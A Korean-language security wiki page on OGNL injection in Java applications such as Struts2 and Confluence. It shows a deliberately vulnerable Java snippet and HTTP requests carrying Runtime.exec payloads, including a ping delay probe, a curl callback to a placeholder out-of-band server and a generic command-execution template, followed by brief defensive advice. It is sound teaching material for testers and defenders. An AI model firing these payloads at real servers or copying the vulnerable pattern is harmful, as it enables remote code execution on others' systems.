OGNL(Object-Graph Navigation Language) Injection

OGNL(Object-Graph Navigation Language) Injection

in

๐Ÿ” Introduction

OGNL Injection์€ OGNL(Object-Graph Navigation Language)์—์„œ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๋Š” Injection ๊ณต๊ฒฉ์„ ์˜๋ฏธํ•˜๋ฉฐ, OGNL ์ž์ฒด๊ฐ€ Expression Language์˜ ์„ฑ๊ฒฉ์„ ๋„๊ธฐ ๋•Œ๋ฌธ์— SSTI ๋˜๋Š” EL Injection ๊ณผ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

OGNL

OGNL(Object-Graph Navigation Language)์€ Java Application์—์„œ ์‚ฌ์šฉ๋˜๋Š” Expression Language (EL) ์ค‘ ํ•˜๋‚˜๋กœ Apache ์ชฝ ์†Œํ”„ํŠธ์›จ์–ด์™€ Java ๊ธฐ๋ฐ˜ ์›น ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๋งŽ์ด ์‚ฌ์šฉ๋˜๋Š” Language์ž…๋‹ˆ๋‹ค.

๋Œ€ํ‘œ์ ์œผ๋กœ Apache Struts2, Confluence, Atlassian, Mybatis, Apache Roller ๋“ฑ์—์„œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

๋ฌธ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๊ณต์‹ ๋ฌธ์„œ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

๐Ÿ—ก Offensive techniques

Detect

๋‹ค๋ฅธ EL Injection๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ OGNL Expression ๊ตฌ๋ฌธ์„ ์„œ๋ฒ„๋กœ ๋„˜๊ฒจ ์ทจ์•ฝ ์—ฌ๋ถ€๋ฅผ ์ฒดํฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ sleep ๋“ฑ์„ ์ด์šฉํ•œ Time-based, Callback์„ ์ด์šฉํ•œ OAST-Based๋กœ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝ/๊ณต๊ฒฉ ์ฝ”๋“œ

Vuln Code

OgnlContext ctx = new OgnlContext();
String expression = request.getParameter("input");
Object expr = Ognl.parseExpression(expression);
Object value = Ognl.getValue(expr, ctx, root);
System.out.println("Value: " + value);

Attack Code

GET /query?input=(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("ping -c 5 127.0.0.1")) HTTP/1.1
Host: localhost

Time-Based

POST /query
Host: localhost

input=(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("ping -c 5 127.0.0.1"))

ping์ด 5ํšŒ ํ˜ธ์ถœ๋˜๊ธฐ ๋•Œ๋ฌธ์— ์•ฝ 5์ดˆ์˜ ๋”œ๋ ˆ์ด๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

OAST-Based

POST /query
Host: localhost

input=(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("curl <OAST-SERVICE>"))

OAST-SERVICE๋กœ DNS Query์™€ HTTP Request๊ฐ€ ๋„์ฐฉํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์—ฌ ์ฒดํฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Exploitation

OGNL์€ Server-Side์—์„œ Expression์— ๋”ฐ๋ผ Java ํด๋ž˜์Šค์˜ ๋ฉ”์†Œ๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋–„๋ฌธ์— ๋ณดํ†ต RCE๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค. ์œ„์—์„œ ์ž‘์„ฑํ–ˆ๋˜ ์˜ˆ์‹œ์™€ ๊ฐ™์ด @java.lang.Runtime ๋“ฑ์„ ์ด์šฉํ•˜์—ฌ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("COMMANDS"))

๋˜ํ•œ OGNL ์ฒ˜๋ฆฌ๊ฐ€ Java SDK๋ฅผ ํ†ตํ•ด Client ๊ธฐ๋ฐ˜ Application์—์„œ ์ด๋ฃจ์–ด์ง„๋‹ค๋ฉด, Client๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•œ Code Execution์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๐Ÿ›ก Defensive techniques

๊ธฐ๋ณธ์ ์œผ๋กœ ์‚ฌ์šฉ์ž๊ฐ€ ์ „๋‹ฌํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์‹ ๋ขฐํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์„ ์›์น™์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ€๊ธ‰์ ์ด๋ฉด ๋‚ด๋ถ€์—์„œ ๊ฐ’์„ ์ฒ˜๋ฆฌํ•ด์•ผํ•˜๋ฉฐ ํ•„์š” ์‹œ ์‚ฌ์šฉ์ž ์ž…๋ ฅ๊ฐ’์— ๋Œ€ํ•ด ์ •ํ™•ํ•˜๊ฒŒ ๊ฒ€์ฆ ํ›„ ์‚ฌ์šฉ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ถ”๊ฐ€๋กœ Structs2, Confluence ๋“ฑ ํ”„๋ ˆ์ž„์›Œํฌ๋‚˜ ์™ธ๋ถ€ ์„œ๋น„์Šค๋‹จ์—์„œ ๋ฐœ์ƒํ•œ ์ด์Šˆ๋Š” ํ•ด๋‹น ๋ฒค๋”์—์„œ ํŒจ์น˜๊ฐ€ ํ•„์š”ํ•˜๋ฉฐ ๊ฐ€๊ธ‰์ ์ด๋ฉด ๋น ๋ฅด๊ฒŒ ์ ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

๐Ÿ“š Articles

  • https://www.hahwul.com/2016/04/28/web-hacking-apache-struts2-recremote/
  • https://www.hahwul.com/2017/03/08/web-hacking-apache-struts2-remote-code/
  • https://www.hahwul.com/cullinan/ssti/
  • https://www.hahwul.com/cullinan/el-injection/

๐Ÿ“Œ References

  • https://commons.apache.org/proper/commons-ognl/
  • https://commons.apache.org/proper/commons-ognl/language-guide.html
  • https://securitylab.github.com/research/ognl-injection-apache-struts/